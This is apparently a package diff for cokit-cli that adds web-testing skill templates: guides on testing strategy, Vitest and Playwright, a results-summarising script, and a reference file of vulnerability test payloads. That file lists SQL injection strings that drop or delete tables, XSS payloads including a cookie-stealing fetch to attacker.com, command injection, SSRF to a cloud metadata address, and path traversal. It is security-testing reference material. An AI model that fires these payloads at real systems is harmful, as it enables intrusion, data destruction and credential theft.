cokit-cli 1.0.8 → 1.2.0

package/templates/repo/.github/skills/web-testing/references/testing-pyramid-strategy.md

@@ -0,0 +1,76 @@
+# Testing Strategy Models
+
+## Model Comparison
+
+| Model | Structure | Best For |
+|-------|-----------|----------|
+| Pyramid | Unit 70% > Integration 20% > E2E 10% | Monoliths, logic-heavy |
+| Trophy (Dodds) | Static > Integration (largest) > Unit > E2E | Modern SPAs |
+| Honeycomb (Spotify) | Contract-centric cells | Microservices |
+| Diamond | Balanced unit/integration | Domain services |
+
+## Testing Trophy (Recommended for SPAs)
+
+```
+         E2E (minimal)
+        /------------\
+       / Integration  \   <-- Largest portion
+      /----------------\
+     /   Unit Tests     \
+    /--------------------\
+   /   Static Analysis    \  <-- Foundation
+  /________________________\
+```
+
+**Philosophy:** "The more your tests resemble how software is used, the more confidence they give you." - Kent C. Dodds
+
+**Key Principles:**
+- Test behavior, not implementation
+- Minimize mocking
+- Prioritize integration tests
+- Use accessible queries (getByRole first)
+
+## Testing Honeycomb (Microservices)
+
+Contract testing at center, interconnected cells for:
+- Unit tests (implementation details)
+- Integration tests (service boundaries)
+- Contract tests (API agreements)
+- E2E tests (critical paths only)
+
+## Ratios by Context
+
+| Context | Unit | Integration | E2E |
+|---------|------|-------------|-----|
+| Classic Pyramid | 70% | 20% | 10% |
+| Testing Trophy | 30% | 50% | 10% |
+| API-heavy | 75% | 15% | 10% |
+| Microservices | 40% | 40% | 20% |
+
+## Priority Matrix
+
+| Priority | Category | Examples |
+|----------|----------|----------|
+| P0 | Core flows | Signup, login, checkout, payment |
+| P1 | Major features | Search, CRUD, navigation |
+| P2 | Secondary | Filters, sorting, pagination |
+| P3 | Edge cases | Empty states, max limits |
+
+## Coverage Targets
+
+| Area | Target |
+|------|--------|
+| Critical paths | 100% |
+| Core features | 80-90% |
+| Overall | 75-85% |
+
+**Note:** Coverage as diagnostic, not target. Focus on what's uncovered.
+
+## CI/CD Order
+
+```yaml
+- run: npm run lint          # Gate 0: Static analysis
+- run: npm run test:unit     # Gate 1: Fast fail
+- run: npm run test:integration # Gate 2
+- run: npm run test:e2e      # Gate 3: Pre-merge
+```

package/templates/repo/.github/skills/web-testing/references/unit-integration-testing.md

@@ -0,0 +1,138 @@
+# Unit & Integration Testing
+
+## Framework Comparison
+
+| Framework | Speed | Best For |
+|-----------|-------|----------|
+| Vitest | Fastest | Modern projects, Vite |
+| Jest | Fast | React/CRA legacy |
+| Bun test | Ultra-fast | Bun projects |
+
+## Vitest Setup
+
+```typescript
+// vitest.config.ts
+export default defineConfig({
+  test: {
+    environment: 'jsdom', // or 'happy-dom'
+    globals: true,
+    coverage: { reporter: ['text', 'json', 'html'] },
+  },
+});
+```
+
+## Vitest Browser Mode (Real Browser)
+
+```typescript
+// vitest.config.ts - higher fidelity than jsdom
+export default defineConfig({
+  test: {
+    browser: {
+      enabled: true,
+      name: 'chromium',
+      provider: 'playwright',
+    },
+  },
+});
+```
+
+**When to use:** Complex DOM interactions, CSS testing, browser APIs
+
+## Test Structure (AAA)
+
+```typescript
+import { describe, it, expect, beforeEach } from 'vitest';
+
+describe('UserService', () => {
+  let service: UserService;
+
+  beforeEach(() => {
+    service = new UserService();
+  });
+
+  it('creates user with valid data', () => {
+    // Arrange
+    const userData = { email: 'test@example.com' };
+
+    // Act
+    const user = service.create(userData);
+
+    // Assert
+    expect(user.id).toBeDefined();
+    expect(user.email).toBe('test@example.com');
+  });
+
+  it('throws on invalid email', () => {
+    expect(() => service.create({ email: 'invalid' }))
+      .toThrow('Invalid email');
+  });
+});
+```
+
+## Integration Test
+
+```typescript
+describe('User API', () => {
+  let db: Database;
+
+  beforeAll(async () => {
+    db = new Database(':memory:');
+    await db.migrate();
+  });
+
+  afterEach(async () => {
+    await db.clearAllTables();
+  });
+
+  it('persists and retrieves user', async () => {
+    await db.users.insert({ email: 'test@example.com' });
+    const user = await db.users.findOne({ email: 'test@example.com' });
+    expect(user).toBeDefined();
+  });
+});
+```
+
+## Test Naming
+
+```typescript
+// Good - describes behavior
+it('should return 200 when valid token provided');
+it('should throw ValidationError when email invalid');
+
+// Bad - vague
+it('test1');
+it('works');
+```
+
+## Mocking
+
+```typescript
+import { vi } from 'vitest';
+
+// Mock module
+vi.mock('./api', () => ({
+  fetchUser: vi.fn().mockResolvedValue({ name: 'John' })
+}));
+
+// Spy
+const spy = vi.spyOn(console, 'log');
+expect(spy).toHaveBeenCalledWith('message');
+```
+
+## Coverage Targets
+
+| Area | Target |
+|------|--------|
+| Critical paths | 100% |
+| Core features | 80-90% |
+| Overall | 75-85% |
+
+## Commands
+
+```bash
+npx vitest run              # Run all
+npx vitest                  # Watch mode
+npx vitest run --coverage   # Coverage
+npx vitest run -u           # Update snapshots
+npx vitest --browser        # Browser mode
+```

package/templates/repo/.github/skills/web-testing/references/visual-regression.md

@@ -0,0 +1,92 @@
+# Visual Regression Testing
+
+## Playwright Screenshot Comparison
+
+```typescript
+import { test, expect } from '@playwright/test';
+
+test('homepage visual', async ({ page }) => {
+  await page.goto('http://localhost:3000');
+  await expect(page).toHaveScreenshot('homepage.png');
+});
+
+test('component visual', async ({ page }) => {
+  await page.goto('http://localhost:3000');
+  const header = page.locator('header');
+  await expect(header).toHaveScreenshot('header.png');
+});
+
+test('with threshold', async ({ page }) => {
+  await page.goto('http://localhost:3000');
+  await expect(page).toHaveScreenshot('page.png', {
+    maxDiffPixels: 100,
+    maxDiffPixelRatio: 0.01,
+  });
+});
+```
+
+## Configuration
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: { maxDiffPixels: 50, threshold: 0.2 },
+  },
+  projects: [
+    { name: 'chromium', use: { ...devices['Desktop Chrome'] } },
+    { name: 'mobile', use: { ...devices['iPhone 12'] } },
+  ],
+});
+```
+
+## Commands
+
+```bash
+npx playwright test --update-snapshots        # Update all
+npx playwright test visual.spec.ts -u         # Update specific
+```
+
+## Workflow
+
+1. **Baseline**: First run creates reference screenshots
+2. **Compare**: Subsequent runs compare against baseline
+3. **Review**: Check diff images on failure
+4. **Approve**: Update snapshots if change is intentional
+
+## Best Practices
+
+- Test critical UI components individually
+- Use consistent viewport sizes
+- Disable animations: `animation-duration: 0s !important`
+- Mock dynamic content (dates, random data)
+- Run on CI with consistent environment
+
+## Third-Party Tools
+
+| Tool | Use Case |
+|------|----------|
+| Percy | Cloud-based, BrowserStack integration |
+| Chromatic | Storybook visual testing |
+| Playwright | Built-in, no vendor lock-in |
+
+## CI Integration
+
+```yaml
+- name: Visual Tests
+  run: npx playwright test --grep @visual
+- uses: actions/upload-artifact@v4
+  if: failure()
+  with:
+    name: visual-diffs
+    path: test-results/
+```
+
+## Visual vs Accessibility
+
+| Aspect | Visual | Accessibility |
+|--------|--------|---------------|
+| Catches | Layout, colors | Semantic, ARIA |
+| Method | Pixel diff | DOM analysis |
+
+**Use both**: Visual misses semantic issues, a11y misses layout bugs.

package/templates/repo/.github/skills/web-testing/references/vulnerability-payloads.md

@@ -0,0 +1,93 @@
+# Vulnerability Test Payloads
+
+## SQL Injection
+
+### Text Input
+```
+' OR '1'='1
+' OR 1=1 --
+'; DROP TABLE users; --
+' UNION SELECT NULL, NULL --
+```
+
+### Numeric Input
+```
+1 OR 1=1
+1; DELETE FROM users; --
+```
+
+### Blind (Time-based)
+```
+' OR SLEEP(5) --
+' AND (SELECT(SLEEP(5)))a --
+```
+
+## XSS (Cross-Site Scripting)
+
+### Reflected
+```html
+<script>alert('XSS')</script>
+<img src=x onerror=alert('XSS')>
+<svg/onload=alert('XSS')>
+"><script>alert('XSS')</script>
+```
+
+### DOM-based
+```
+javascript:alert('XSS')
+<iframe src="javascript:alert('XSS')"></iframe>
+```
+
+### Cookie Theft
+```html
+<script>fetch('http://attacker.com/?c='+document.cookie)</script>
+```
+
+## NoSQL Injection (MongoDB)
+
+```json
+{"$ne": null}
+{"$gt": ""}
+{"$regex": ".*"}
+{"$where": "1==1"}
+```
+
+## Command Injection
+
+```
+; ls -la
+| whoami
+`whoami`
+$(whoami)
+```
+
+## SSRF
+
+```
+http://localhost/admin
+http://127.0.0.1/admin
+http://169.254.169.254/  # AWS metadata
+```
+
+## Path Traversal
+
+```
+../../../etc/passwd
+..%2F..%2F..%2Fetc%2Fpasswd
+```
+
+## CSRF Testing
+
+1. Submit form without CSRF token
+2. Reuse captured token multiple times
+3. Modify/remove token parameter
+
+## Testing Tools
+
+```bash
+# SQLMap
+sqlmap -u "http://example.com/page?id=1" --dbs
+
+# OWASP ZAP active scan
+zap-cli active-scan http://example.com
+```

package/templates/repo/.github/skills/web-testing/scripts/analyze-test-results.js

@@ -0,0 +1,280 @@
+#!/usr/bin/env node
+/**
+ * Analyze and summarize test results from multiple formats
+ * Usage: node analyze-test-results.js [options]
+ *
+ * Options:
+ *   --playwright <path>  Path to Playwright JSON results
+ *   --vitest <path>      Path to Vitest JSON results
+ *   --junit <path>       Path to JUnit XML results
+ *   --output <format>    Output format: text, json, markdown (default: text)
+ *   --fail-threshold <n> Exit with code 1 if pass rate below n% (default: 0)
+ */
+
+const fs = require('fs');
+const path = require('path');
+
+// Parse arguments
+const args = process.argv.slice(2);
+function getArg(name) {
+  const index = args.indexOf(`--${name}`);
+  return index !== -1 ? args[index + 1] : null;
+}
+
+const playwrightPath = getArg('playwright');
+const vitestPath = getArg('vitest');
+const junitPath = getArg('junit');
+const outputFormat = getArg('output') || 'text';
+const failThreshold = parseInt(getArg('fail-threshold') || '0', 10);
+
+// Result aggregator
+const summary = {
+  total: 0,
+  passed: 0,
+  failed: 0,
+  skipped: 0,
+  flaky: 0,
+  duration: 0,
+  suites: [],
+  failures: [],
+};
+
+// Parse Playwright JSON results
+function parsePlaywright(filePath) {
+  if (!fs.existsSync(filePath)) {
+    console.error(`Playwright results not found: ${filePath}`);
+    return;
+  }
+
+  const data = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
+
+  for (const suite of data.suites || []) {
+    parseSuite(suite, 'playwright');
+  }
+
+  summary.duration += data.stats?.duration || 0;
+}
+
+function parseSuite(suite, source) {
+  const suiteSummary = {
+    name: suite.title || suite.file || 'Unknown',
+    source,
+    passed: 0,
+    failed: 0,
+    skipped: 0,
+  };
+
+  for (const spec of suite.specs || []) {
+    for (const test of spec.tests || []) {
+      summary.total++;
+      suiteSummary[test.status === 'expected' ? 'passed' : test.status]++;
+
+      if (test.status === 'expected') {
+        summary.passed++;
+      } else if (test.status === 'unexpected') {
+        summary.failed++;
+        summary.failures.push({
+          name: `${suite.title} > ${spec.title}`,
+          source,
+          error: test.results?.[0]?.error?.message || 'Unknown error',
+        });
+      } else if (test.status === 'skipped') {
+        summary.skipped++;
+      } else if (test.status === 'flaky') {
+        summary.flaky++;
+        summary.passed++; // Flaky tests that eventually passed
+      }
+    }
+  }
+
+  // Recurse into nested suites
+  for (const child of suite.suites || []) {
+    parseSuite(child, source);
+  }
+
+  if (suiteSummary.passed + suiteSummary.failed + suiteSummary.skipped > 0) {
+    summary.suites.push(suiteSummary);
+  }
+}
+
+// Parse Vitest JSON results
+function parseVitest(filePath) {
+  if (!fs.existsSync(filePath)) {
+    console.error(`Vitest results not found: ${filePath}`);
+    return;
+  }
+
+  const data = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
+
+  for (const file of data.testResults || []) {
+    const suiteSummary = {
+      name: path.basename(file.name),
+      source: 'vitest',
+      passed: 0,
+      failed: 0,
+      skipped: 0,
+    };
+
+    for (const test of file.assertionResults || []) {
+      summary.total++;
+
+      if (test.status === 'passed') {
+        summary.passed++;
+        suiteSummary.passed++;
+      } else if (test.status === 'failed') {
+        summary.failed++;
+        suiteSummary.failed++;
+        summary.failures.push({
+          name: test.fullName || test.title,
+          source: 'vitest',
+          error: test.failureMessages?.[0] || 'Unknown error',
+        });
+      } else if (test.status === 'skipped' || test.status === 'pending') {
+        summary.skipped++;
+        suiteSummary.skipped++;
+      }
+    }
+
+    summary.suites.push(suiteSummary);
+  }
+
+  summary.duration += data.startTime
+    ? Date.now() - data.startTime
+    : 0;
+}
+
+// Parse JUnit XML results
+function parseJunit(filePath) {
+  if (!fs.existsSync(filePath)) {
+    console.error(`JUnit results not found: ${filePath}`);
+    return;
+  }
+
+  const xml = fs.readFileSync(filePath, 'utf-8');
+
+  // Simple XML parsing (avoid external dependencies)
+  const testsuites = xml.match(/<testsuite[^>]*>/g) || [];
+
+  for (const testsuite of testsuites) {
+    const name = testsuite.match(/name="([^"]+)"/)?.[1] || 'Unknown';
+    const tests = parseInt(testsuite.match(/tests="(\d+)"/)?.[1] || '0', 10);
+    const failures = parseInt(testsuite.match(/failures="(\d+)"/)?.[1] || '0', 10);
+    const skipped = parseInt(testsuite.match(/skipped="(\d+)"/)?.[1] || '0', 10);
+    const time = parseFloat(testsuite.match(/time="([\d.]+)"/)?.[1] || '0');
+
+    summary.total += tests;
+    summary.passed += tests - failures - skipped;
+    summary.failed += failures;
+    summary.skipped += skipped;
+    summary.duration += time * 1000;
+
+    summary.suites.push({
+      name,
+      source: 'junit',
+      passed: tests - failures - skipped,
+      failed: failures,
+      skipped,
+    });
+  }
+
+  // Extract failure details
+  const failureMatches = xml.matchAll(/<testcase[^>]*name="([^"]+)"[^>]*>[\s\S]*?<failure[^>]*>([\s\S]*?)<\/failure>/g);
+  for (const match of failureMatches) {
+    summary.failures.push({
+      name: match[1],
+      source: 'junit',
+      error: match[2].trim().slice(0, 200),
+    });
+  }
+}
+
+// Output formatters
+function outputText() {
+  const passRate = summary.total > 0
+    ? ((summary.passed / summary.total) * 100).toFixed(1)
+    : 0;
+
+  console.log('\n📊 Test Results Summary');
+  console.log('='.repeat(50));
+  console.log(`Total:   ${summary.total}`);
+  console.log(`Passed:  ${summary.passed} ✅`);
+  console.log(`Failed:  ${summary.failed} ❌`);
+  console.log(`Skipped: ${summary.skipped} ⏭️`);
+  if (summary.flaky > 0) {
+    console.log(`Flaky:   ${summary.flaky} ⚠️`);
+  }
+  console.log(`Pass Rate: ${passRate}%`);
+  console.log(`Duration: ${(summary.duration / 1000).toFixed(2)}s`);
+
+  if (summary.failures.length > 0) {
+    console.log('\n❌ Failures:');
+    for (const failure of summary.failures.slice(0, 10)) {
+      console.log(`  - [${failure.source}] ${failure.name}`);
+      console.log(`    ${failure.error.slice(0, 100)}...`);
+    }
+    if (summary.failures.length > 10) {
+      console.log(`  ... and ${summary.failures.length - 10} more`);
+    }
+  }
+
+  console.log('');
+}
+
+function outputJson() {
+  console.log(JSON.stringify(summary, null, 2));
+}
+
+function outputMarkdown() {
+  const passRate = summary.total > 0
+    ? ((summary.passed / summary.total) * 100).toFixed(1)
+    : 0;
+
+  console.log('## Test Results Summary\n');
+  console.log('| Metric | Value |');
+  console.log('|--------|-------|');
+  console.log(`| Total | ${summary.total} |`);
+  console.log(`| Passed | ${summary.passed} ✅ |`);
+  console.log(`| Failed | ${summary.failed} ❌ |`);
+  console.log(`| Skipped | ${summary.skipped} |`);
+  console.log(`| Pass Rate | ${passRate}% |`);
+  console.log(`| Duration | ${(summary.duration / 1000).toFixed(2)}s |`);
+
+  if (summary.failures.length > 0) {
+    console.log('\n### Failures\n');
+    for (const failure of summary.failures.slice(0, 10)) {
+      console.log(`- **[${failure.source}]** ${failure.name}`);
+    }
+  }
+}
+
+// Main execution
+if (playwrightPath) parsePlaywright(playwrightPath);
+if (vitestPath) parseVitest(vitestPath);
+if (junitPath) parseJunit(junitPath);
+
+if (summary.total === 0) {
+  console.log('No test results found. Specify at least one input:');
+  console.log('  --playwright <path>  Playwright JSON results');
+  console.log('  --vitest <path>      Vitest JSON results');
+  console.log('  --junit <path>       JUnit XML results');
+  process.exit(1);
+}
+
+// Output results
+switch (outputFormat) {
+  case 'json':
+    outputJson();
+    break;
+  case 'markdown':
+    outputMarkdown();
+    break;
+  default:
+    outputText();
+}
+
+// Check threshold
+const passRate = (summary.passed / summary.total) * 100;
+if (failThreshold > 0 && passRate < failThreshold) {
+  console.error(`\n❌ Pass rate ${passRate.toFixed(1)}% below threshold ${failThreshold}%`);
+  process.exit(1);
+}